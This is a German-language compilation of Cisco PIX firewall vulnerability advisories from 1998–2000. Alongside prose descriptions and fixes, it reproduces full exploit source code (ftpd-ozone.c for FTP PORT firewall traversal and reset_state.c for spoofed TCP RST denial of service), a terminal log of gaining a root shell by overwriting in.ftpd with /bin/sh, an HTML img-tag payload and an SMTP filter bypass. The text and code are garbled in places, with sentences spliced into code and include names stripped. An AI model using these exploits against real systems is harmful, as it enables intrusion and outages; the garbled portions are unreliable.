Cisco PIX und CBAC sind verwundbar gegen Fragmentierungs-Attacken
Publiziert: 31.08.1998 von Robert Ståhlbrand <robert@nmac.ericsson.se>
Betroffen:
Neben einer dadurch möglichen Denial of Service-Attacke gleichermassen gegen das Firewall-Element und das zu schützende Netz, können auch unerlaubte Datenverbindungen durch die Firewall geschmuggelt werden.
Beide Attacken können ohne Probleme durch frei erhältliche Tools aus dem Internet auch von Laien durchgeführt werden. Lediglich die Fragmentierung von Datenströmen erfordert ein gewisses Mass an Grundwissen über TCP/IP.
Ein Bugfix wurde für die differenten Produkt-Versionen von Cisco herausgegeben und können direkt beim Hersteller bezogen werden.
Links: Cisco-Advisory: Cisco PIX and CBAC Fragmentation Attack
Verwundbares Management-Tool verleiht erweiterte Leserechte
Publiziert : 31.08.1998 von Brett Oliphant <Brett_M_Oliphant/Lafayette_Life@LLNOTES.LLIC.COM>
Betroffen:
Neben den vielen bekannten Sicherheitslücken von Windows NT ist jedem internen Angreifer mit dem Recht zur Verbindungsaufnahme der Zugriff auf beliebige bekannte Daten des Systems möglich. Externe Angreifer werden hingegen bei dieser Attacken keinen Erfolg haben. Der Angriff beginnt einfacherweise mit einem simplen Verbindungsaufbau zum TCP-Port 8080 (Standartport der normalen Installation) auf der NT-Maschine, welche mit dem PFM bestückt ist. Ein Angreifer muss im Besitz des Wissens um die Lokation der Datei sein; ein ?komfortables Browsen? auf dem angegriffenen Host ist nicht möglich. Gelesen werden können alle Dateien auf dem System, unabhängig derer Zugriffsrechte. Ein Angriff kann durch betriebssysteminterne Utilities (Webbrowser, Telnet-Client, ...) auch von technisch nicht versierten Benutzern erfolgreich durchgeführt werden.
Ein Bugfix wurde von Cisco nur für die Version 4.1 herausgegeben. Alle Nutzer der Version 4.2 wurden quasi im Regen stehen gelassen und müssen ihr Produkt upgraden.
Links : Cisco-Advisory: Cisco PIX Firewall Manager File Exposure
Fehlimplementierung der Filterung bei FTP-Verbindungen
Publiziert: 09.02.2000 von John McDonald <jm@dataprotect.com>
Betroffen:
Bei den neueren Versionen werden im Gegensatz zu älteren solche Transaktionen nur in einer Richtung zugelassen. Einem Angreifer wird durch diese Schwachstelle ermöglicht beliebige Daten durch die Firewall hindurchzuführen und Hosts dahinter direkt anzusprechen.
Hier ist eine meiner Beispiel-Attacken, welche auf der zuvor angerissenen Technik basiert. Als Test-Netz dient eine Cisco PIX Firewall 5.0, welche nur ankommende Verbindungen zum FTP-Server mit der internen IP-Adresse 172.16.0.2 zulässt. Auf dem Host 172.16.0.2 ist Sun Solaris 2.6 mit dem Standart-Setup inklusive dem historischen Tooltalk Database-Bug installiert. Zuerst wird ein Datagramm direkt zum TCP-Port des gewünschten FTP-Service geschickt:
root@prometheus:/root <mailto:root@prometheus:/root> > strings hackfileEs existiert jedoch noch ein einfacherer Weg für eine ähnliche Attacke auf dieses Setup, seitdem der standartmässige FTP-Daemon unter Solaris Bounce-Attacken zulässt.
localhost
root@prometheus:/root <mailto:root@prometheus:/root> >
""""3333DDDD/bin/ksh.-c.cp /usr/sbin/in.ftpd /tmp/in.ftpd.back ; rm -f
/usr/sbin/in.ftpd ; cp /bin/sh /usr/sbin/in.ftpd
root@prometheus:/root <mailto:root@prometheus:/root> > /sbin/ifconfig eth0 mtu 100
root@prometheus:/root <mailto:root@prometheus:/root> > nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[1]+ Stopped nc -vvv 172.16.0.2 21
root@prometheus:/root <mailto:root@prometheus:/root> > cat killfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 80, rcvd 0
root@prometheus:/root <mailto:root@prometheus:/root> > nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
220 sol FTP server (SunOS 5.6) ready.
...........................................227 (172,16,0,2,128,7)
500 '...........................................
[2]+ Stopped nc -vvv 172.16.0.2 21
root@prometheus:/root <mailto:root@prometheus:/root> > cat hackfile | nc -vv 172.16.0.2 32775
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 32775 (?) open
sent 1168, rcvd 0
root@prometheus:/root <mailto:root@prometheus:/root> > nc -vvv 172.16.0.2 21
172.16.0.2: inverse host lookup failed:
(UNKNOWN) [172.16.0.2] 21 (?) open
id
uid=0(root) gid=0(root)
Cisco stellt einen Patch zur Verfügung. Sicherheitshalber sollte auch das PASV-Kommando unterbunden werden.
Links: Cisco-Advisory: Cisco Secure PIX Firewall FTP Vulnerabilities
Daten werden fehlerhaft geparst
Publiziert: 10.03.2000 von Mikael Olsson <mikael.olsson@enternet.se>
Betroffen:
Um nun diese grundsätzlich potentielle Sicherheitslücke expandierend auszuschöpfen, schickt man am besten ein in HTML formatiertes Mail mit dem Tag ?<img src="ftp://ftp.biodata.com/aaaa[viele As]aaaPORT 1,2,3,4,0,139">? an das sich im internen Netz befindliche Opfer. Die Firewall wird aufgrund der vielen unnötigen As das Kommando halbieren und die neu gewonnenen Teilstücke separat abarbeiten. In diesem Beispiel werden zum Beispiel nun Connects auf TCP-Port 139 möglich, wohingegen beliebige Ports angegeben werden können. Erfolgreich verlaufen alle Verbindungsaufbauversuche, egal ob die Well-Known-Ports von der Firewall hätten geblockt werden müssen.
Exploit : Folgender frei im Internet erhältliche Exploit des bekannten
amerikanischen Hackers w00w00 automatisiert diesen Angriff:
/*Behebung : Diesem Angriff kann nur mit den entsprechenden lückenlosen Filterregeln entgegengewirkt werden.
ftpd-ozone.cDemonstrate the FTP reverse firewall penetration technique
outlined by Mikael Olsson, EnterNet Sweden AB.Tested against Netscape, Microsoft IE, Lynx, Wget. YMMV.
Copyright (c) 2000 Dug Song
*/#include
#include
#include
#include
#include
#include
#include
#include
#include
#include#define WINDOW_LEN 42
#define FTPD_PORT 21#define GREEN "\033[0m\033[01m\033[32m"
#define OFF "\033[0m"#define int_ntoa(x) (inet_ntoa(*(struct in_addr *)&x))
void
usage(void)
{
fprintf(stderr, "Usage: ftpd-ozone [-w win] \n");
exit(1);
}/* Strip telnet options, as well as suboption data. */
int
strip_telopts(u_char *buf, int len)
{
int i, j, subopt = 0;
char *p;for (i = j = 0; i < len; i++) {
if (buf[i] == IAC) {
if (++i >= len) break;
else if (buf[i] > SB)
i++;
else if (buf[i] == SB) {
p = buf + i + 1;
subopt = 1;
}
else if (buf[i] == SE) {
if (!subopt) j = 0;
subopt = 0;
}
}
else if (!subopt) {
/* XXX - convert isolated carriage returns to newlines. */
if (buf[i] == '\r' && i + 1 < len && buf[i + 1] != '\n')
buf[j++] = '\n';
/* XXX - strip binary nulls. */
else if (buf[i] != '\0')
buf[j++] = buf[i];
}
}
buf[j] = '\0';return (j);
}u_long
resolve_host(char *host)
{
u_long addr;
struct hostent *hp;if (host == NULL) return (0);
if ((addr = inet_addr(host)) == -1) {
if ((hp = gethostbyname(host)) == NULL)
return (0);
memcpy((char *)&addr, hp->h_addr, sizeof(addr));
}
return (addr);
}#define UC(b) (((int)b)&0xff)
int
portnum2str(char *buf, int size, u_long ip, u_short port)
{
char *p, *q;port = htons(port);
p = (char *)&ip;
q = (char *)&port;return (snprintf(buf, size, "%d,%d,%d,%d,%d,%d",
UC(p[0]), UC(p[1]), UC(p[2]), UC(p[3]),
UC(q[0]), UC(q[1])));
}int
portstr2num(char *str, u_long *dst, u_short *dport)
{
int a0, a1, a2, a3, p0, p1;
char *a, *p;if (str[0] == '(') str++;
strtok(str, ")\r\n");if (sscanf(str, "%d,%d,%d,%d,%d,%d", &a0, &a1, &a2, &a3, &p0, &p1) != 6)
return (-1);a = (char *)dst;
a[0] = a0 & 0xff; a[1] = a1 & 0xff; a[2] = a2 & 0xff; a[3] = a3 & 0xff;p = (char *)dport;
p[0] = p0 & 0xff; p[1] = p1 & 0xff;*dport = ntohs(*dport);
return (0);
}void
print_urls(u_long dst, u_short dport, int win)
{
char *p, host[128], tmp[128];
u_long ip;gethostname(host, sizeof(host));
ip = resolve_host(host);
strncpy(host, int_ntoa(ip), sizeof(host));/* XXX - "MDTM /\r\n" for Netscape, "CWD /\r\n" for MSIE. i suk. */
win -= (4 + 2 + 2);
p = malloc(win + 1);
memset(p, 'a', win);
p[win] = '\0';portnum2str(tmp, sizeof(tmp), dst, dport);
printf("Netscape / Lynx URL to send client at %s:\n"
"ftp://%s/%s%%0a%%0dPORT%%20%s\n",
int_ntoa(dst), host, p, tmp);
printf("MSIE / Wget URL to send client at %s:\n"
"ftp://%s/a%s%%0a%%0dPORT%%20%s\n",
int_ntoa(dst), host, p, tmp);free(p);
}int
init_ftpd(int port, int win)
{
int fd, i = 1;
struct sockaddr_in sin;if ((fd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1)
return (-1);if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &i, sizeof(i)) == -1)
return (-1);if (setsockopt(fd, SOL_SOCKET, SO_RCVBUF, &win, sizeof(win)) == -1)
return (-1);memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = htonl(INADDR_ANY);
sin.sin_port = htons(port);if (bind(fd, (struct sockaddr *)&sin, sizeof(sin)) == -1)
return (-1);
if (listen(fd, 10) == -1)
return (-1);return (fd);
}void
do_ftpd(int fd)
{
FILE *f;
char buf[1024];
int len, portcmd = 0;
u_long ip;
u_short port;if ((f = fdopen(fd, "r+")) == NULL)
return;fprintf(f, "220 ftpd-ozone ready for love.\r\n");
while (fgets(buf, sizeof(buf), f) != NULL) {
if ((len = strip_telopts(buf, strlen(buf))) == 0)
continue;if (strncasecmp(buf, "SYST", 4) == 0) {
fprintf(f, "215 ftpd-ozone\r\n");
}
else if (strncasecmp(buf, "USER ", 5) == 0) {
fprintf(f, "331 yo there\r\n");
}
else if (strncasecmp(buf, "PASS ", 5) == 0) {
fprintf(f, "230 sucker\r\n");
}
else if (strncasecmp(buf, "PWD", 3) == 0) {
fprintf(f, "257 \"/\" is current directory\r\n");
}
else if (strncasecmp(buf, "PASV", 4) == 0) {
fprintf(f, "502 try PORT instead ;-)\r\n");
/*fprintf(f, "425 try PORT instead ;-)\r\n");*/
}
else if (strncasecmp(buf, "PORT ", 5) == 0) {
if (portstr2num(buf + 5, &ip, &port) != 0)
fprintf(f, "500 you suk\r\n");
else {
fprintf(f, "200 ready for love\r\n");
if (portcmd++ < 2) /* XXX */
printf(GREEN "try connecting to %s %d" OFF "\n", int_ntoa(ip), port);
}
}
else if (strncasecmp(buf, "CWD ", 4) == 0 ||
strncasecmp(buf, "TYPE ", 5) == 0) {
fprintf(f, "200 whatever\r\n");
}
else if (strncasecmp(buf, "NLST", 4) == 0) {
fprintf(f, "550 you suk\r\n");
}
else if (strncasecmp(buf, "MDTM ", 5) == 0) {
fprintf(f, "213 19960319165527\r\n");
}
else if (strncasecmp(buf, "RETR ", 5) == 0 ||
strncasecmp(buf, "LIST", 4) == 0) {
fprintf(f, "150 walking thru your firewall\r\n");
}
else if (strncasecmp(buf, "QUIT", 4) == 0) {
fprintf(f, "221 l8r\r\n");
break;
}
else fprintf(f, "502 i suk\r\n");
}
fclose(f);
}int
main(int argc, char *argv[])
{
int c, sfd, cfd;
u_long dst;
u_short dport, win = WINDOW_LEN;
struct sockaddr_in sin;while ((c = getopt(argc, argv, "w:h?")) != -1) {
switch (c) {
case 'w':
if ((win = atoi(optarg)) == 0)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;if (argc != 2)
usage();if ((dst = resolve_host(argv[0])) == 0)
usage();if ((dport = atoi(argv[1])) == 0)
usage();if ((sfd = init_ftpd(FTPD_PORT, win)) == -1) {
perror("init_ftpd");
exit(1);
}
print_urls(dst, dport, win);for (;;) {
c = sizeof(sin);
if ((cfd = accept(sfd, (struct sockaddr *)&sin, &c)) == -1) {
perror("accept");
exit(1);
}
printf("connection from %s\n", inet_ntoa(sin.sin_addr));if (fork() == 0) {
close(sfd);
do_ftpd(cfd);
close(cfd);
exit(0);
}
close(cfd);
}
exit(0);
}/* w00w00! */
Fehlerhafte Reaktion auf TCP-RST
Publiziert : 10.07.2000 von Andrew Alston <andrew@citec.net>
Betroffen:
Diese Denial of Service-Attacke kann durch das Senden eines Pakets des Typs TCP-Reset (RST) zur Firewall geschehen, welches die gleichen Spezifikationen (Quell- und Ziel-IP und -Ports) wie die zu resettende Verbindung hat geschehen.
Exploit : Folgender automatisierender Exploit ist im Internet frei erhältlich
und wurde von Citec Network Securities für FreeBSD geschrieben:
/* reset_state.c (c) 2000 Citec Network Securities */Behebung: Laut Cisco ist ein Patch für diese Sicherheitslücke in Planung. Es darf aber damit gerechnet werden, dass auch in zukünftigen Ausgaben der PIX Firewall diese DoS-Attacken möglich bleiben werden.
/* The code following below is copyright Citec Network Securities */
/* Code was developed for testing, and is written to compile under */
/* FreeBSD */#define __BSD_SOURCE
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <unistd.h>
#include <time.h>
#include <netdb.h>struct slist {
struct in_addr spoof;
struct slist *link;
}; /* Spoof list */int
main(int argc, char *argv[])
{int i, int2;
int sock; /* Socket stuff */
int on = 1; /* Socket stuff */
struct sockaddr_in sockstruct; /* Socket stuff */
struct ip *iphead; /* IP Header pointer */
struct tcphdr *tcphead; /* TCP Header pointer */
char evilpacket[sizeof(struct ip) + sizeof(struct
tcphdr)];
/* Our reset packet */
int seq, ack; /* Sequence and Acknowledgement #'s
*/
FILE *spooffile; /* Spoof file */
char *buffer; /* Spoof file read buffer */
struct slist *scur, *sfirst; /* Spoof linked list pointers */
char src[20], dst[20]; /* Work around for inet_ntoa static
*/
/* Pointers when using printf() */
int sourcefrom, sourceto, destfrom, destto; /* CMD Line ports */
int target; /* Target address from inet_addr()
*/
if(argc < 6) {
fprintf(stderr, "Usage: %s spoof_file target sps spe dps
dpe\n"
"target = your victim\n"
"sps = Source port start\n"
"spe = Source port end\n"
"dps = Destination port start\n"
"dpe = Destination port end\n", argv[0]);
exit(-1);
}
else {
sourcefrom = atoi(argv[3]);
sourceto = atoi(argv[4]);
destfrom = atoi(argv[5]);
destto = atoi(argv[6]);
};if(sourcefrom > sourceto) {
printf("Error, start source port must be less than end
source port\n");
exit(-1);
}
else if(destfrom > destto) {
printf("Error, start dest port must be less than end dest
port\n");
exit(-1);
};printf("Used spoof file %s\n"
"Destination: [%s] ports: [%d -> %d]\n"
"Target source ports: [%d -> %d]\n",
argv[1], argv[2], destfrom, destto, sourcefrom, sourceto);sleep(1);
bzero(evilpacket, sizeof(evilpacket));
/* Clean our reset packet */sfirst = malloc(sizeof(struct slist));
scur = sfirst;
scur->link = NULL; /* Setup our spoof linked list */if(!(buffer = malloc(25))) {
perror("malloc");
exit(-1);
}; /* Allocate for read buffer */if ((spooffile = fopen((char *) argv[1], "r")) <= 0) {
perror("fopen");
exit(-1); /* Open our spoof file */
} else {
while (fgets(buffer, 25, spooffile)) { /* Read till EOF */
if (!(inet_aton(buffer, &(scur->spoof))))
printf("Invalid address found in victim
file.. ignoring\n");
else {
scur->link = malloc(sizeof(struct slist));
scur = scur->link;
scur->link = NULL; /* Cycle l.list */
}
}; /* End of while loop */
}; /* End of if {} else {} */
free(buffer); /* Free up our read buffer */
fclose(spooffile); /* Close our spoof file */
scur = sfirst; /* Set spoof list current to first
*/if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
} /* Allocate our raw socket */if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *) &on,
sizeof(on)) < 0) {
perror("setsockopt");
exit(-1);
} /* Set socket options for raw iphead
*/sockstruct.sin_family = AF_INET;
iphead = (struct ip *) evilpacket;
tcphead = (struct tcphdr *) (evilpacket + sizeof(struct ip));
/* Align ip and tcp headers */iphead->ip_hl = 5; /* Ip header length is 5 */
iphead->ip_v = 4; /* ipv4 */
iphead->ip_len = sizeof(struct ip) + sizeof(struct tcphdr);
/* Length of our total packet */
iphead->ip_id = htons(getpid()); /* Packet ID == PID # */
iphead->ip_ttl = 255; /* Time to live == 255 */
iphead->ip_p = IPPROTO_TCP; /* TCP Packet */
iphead->ip_sum = 0; /* No checksum */
iphead->ip_tos = 0; /* 0 Type of Service */
iphead->ip_off = 0; /* Offset is 0 */
tcphead->th_win = htons(512); /* TCP Window is 512 */
tcphead->th_flags = TH_RST; /* Reset packet */
tcphead->th_off = 0x50; /* TCP Offset 0x50 */iphead->ip_dst.s_addr = inet_addr(argv[2]);
srand(getpid()); /* Seed for rand() */
while (scur->link != NULL) {
seq = rand() % time(NULL); /* Randomize our #'s */
ack = rand() % time(NULL); /* Randomize ack #'s */
sockstruct.sin_port = htons(rand() % time(NULL));
iphead->ip_src = scur->spoof; /* Set the spoofed address
*/
sockstruct.sin_addr = scur->spoof;
for(i = sourcefrom; i <= sourceto; i++) {
for(int2 = destfrom; int2 <= destto; int2++) {
usleep(2); /* Sleep 5ms between packets
*/
seq += (rand() %10)+250;
ack += (rand() %10)+250;
tcphead->th_seq = htonl(seq);
/* Set sequence number */
tcphead->th_ack = htonl(ack);
/* Set ack number */
tcphead->th_dport = htons(int2);
/* Set destination port */
tcphead->th_sport = htons(i);
/* Set source port */
snprintf(src, 20, "%s",
inet_ntoa(iphead->ip_src));
snprintf(dst, 20, "%s",
inet_ntoa(iphead->ip_dst));
/* Copy info to src and dst for printing */
printf("TCP RESET: [%s:%d] -> [%s:%d]\n",
src, ntohs(tcphead->th_sport), dst, ntohs(tcphead->th_dport));
sendto(sock, &evilpacket,
sizeof(evilpacket), 0x0,
(struct sockaddr *) & sockstruct,
sizeof(sockstruct));
/* Send our evil packet */
};
};
scur = scur->link; /* Cycle the spoof ips */
}
scur = sfirst;
return (1);};
Links : Cisco-Advisory: Cisco Secure PIX Firewall TCP Reset Vulnerability
Fehlerhafte Implementierung des SMTP-Content-Filters
Publiziert : 19.09.2000 von Lincoln Yeoh <lyeoh@pop.jaring.my>
Betroffen:
Durch einen Trick lässt sich nun die Cisco-Firewall überzeugen, dass vermeindliche SMTP-Kommandos angeblich nur für den Mail-Body genutzt werden wollen, in Wirklichkeit jedoch zur Steuerung des SMTP-Relays angewandt werden. Während dem Dialog mit einem SMTP-Server darf das DATA-Kommando erst nach den essentiell wichtigeren Angaben wie ?RCPT TO? genutzt werden; andererseits erhält der Client-Rechner die serverseitige Fehlermeldung mit dem Error-Code 503. Die Firewall denkt jedoch nach dieser fehlgeschlagenen Aktion, dass alles in bester Ordnung ist und lässt nun alle Eingaben bis zur besagten Escape-Sequenz zu:
mail from: anonymous@computec.ch <mailto:anonymous@computec.ch>Für einige Versionen der Cisco PIX Firewall wurden vom Hersteller Patches realisiert; jedoch nicht für alle. Benutzer dieser Sonderlinge müssen auf Updates zurückgreifen.
data (Ab hier ist die Firewall unterlaufen)
expn guest (Nun können wieder VRFY und EXPN genutzt werden)
help
Alle Kommandos, die ich eingeben will
quit
Links : Cisco-Advisory: Cisco Secure PIX Firewall Mailguard Vulnerability